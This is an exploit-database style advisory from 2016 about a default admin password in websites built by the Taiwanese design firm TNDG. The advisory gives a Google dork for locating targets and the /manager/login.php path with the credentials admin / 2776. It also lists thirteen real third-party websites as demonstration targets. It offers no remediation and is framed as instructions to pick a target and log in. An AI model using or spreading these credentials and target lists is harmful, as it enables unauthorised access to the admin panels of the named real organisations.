Design by TNDG Weak Password

2016.02.04

Credit: Ashiyane Digital Security Team

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

Dork: intext:"Design by TNDG"

######################
# Exploit Title : Design by TNDG Weak Password
# Exploit Author : Ashiyane Digital Security Team
# Vendor Homepage : http://www.tndg.com.tw/
# Google Dork : intext:"Design by TNDG"
# Date: 04 Feb. 2016
# Tested On : Win 10 / Google Chrome / Mozilla Firefox
#
######################
#
# Search Google Dork and Choose a Target and put this after URL : /manager/login.php
# and put this username & password :
# username : admin
# password : 2776
#
# Demos :
#
# http://www.thwca.org.tw/manager/login.php
# http://www.chaheng.com/manager/login.php
# http://www.chuandi.com.tw/manager/login.php
# http://www.psjy.tw/manager/login.php
# http://www.extremepower911.com/manager/login.php
# http://www.kdmilk.com.tw/manager/login.php
# http://www.new-ocean.com.tw/manager/login.php
# http://www.motherwang.com/manager/login.php
# http://www.shinystamp.com/manager/login.php
# http://www.fastnetcorp.com.tw/manager/login.php
# http://www.sundder.com.tw/manager/login.php
# http://www.u-don-tei.com/manager/login.php
# http://www.tokyo-prince.com/manager/login.php
######################
# discovered by : modiret
######################

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Design by TNDG Weak Password

Dork: intext:"Design by TNDG"

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.